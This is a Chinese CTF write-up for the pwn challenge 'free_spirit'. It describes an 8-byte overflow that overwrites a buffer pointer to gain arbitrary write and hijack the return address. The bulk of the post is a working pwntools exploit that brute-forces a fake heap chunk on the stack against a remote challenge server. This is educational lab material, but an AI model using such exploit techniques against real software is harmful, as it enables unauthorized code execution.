free_spirit(在棧上爆破一個可以被free的fake_chunk)

free_spirit(在棧上爆破一個可以被free的fake_chunk)

首先檢查一下程序的保護機制

然後,我們用IDA分析一下,功能3存在8字節溢出,將會把v7下面的buf指針覆蓋掉,而覆蓋了buf指針,就能實現任意地址寫。

 

 

那麼,我們劫持函數棧返回地址爲one_gadget即可,爲了繞過結尾對buf的檢查,我們的buf非0,且free後不會報錯。

但是我們泄露不了堆地址,因此,只能在棧上找一個合適的fake_chunk,因此,可以直接在棧上爆破,直到程序不崩潰,那麼就可以執行one_gadget了。

#coding:utf8
from pwn import *

backdoor = 0x0000000000400A3E

i = -54
while True:
   try:
      #sh = process('./free_spirit')
      sh = remote('node3.buuoj.cn',29949)
      i -= 1
      sh.sendlineafter('>','2')
      sh.recvuntil('0x')
      stack_addr = int(sh.recvuntil('\n',drop = True),16)
      print 'stack_addr=',hex(stack_addr)

      sh.sendlineafter('>','1')
      sleep(0.5)
      sh.send('a'*0x8 + p64(stack_addr + 0x58) + '\x00'*0x10)
      sleep(0.5)
      #8字節溢出,覆蓋buf指針,造成任意地址寫
      sh.sendlineafter('>','3')

      sh.sendlineafter('>','1')
      sh.sendline(p64(backdoor) + p64(stack_addr + i * 8))

      #8字節溢出,覆蓋buf指針,使得free不報錯
      sh.sendlineafter('>','3')
      #raw_input()
      sh.sendlineafter('>','0')

      sh.interactive()

   except:
      print 'trying...'
      sh.close()

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章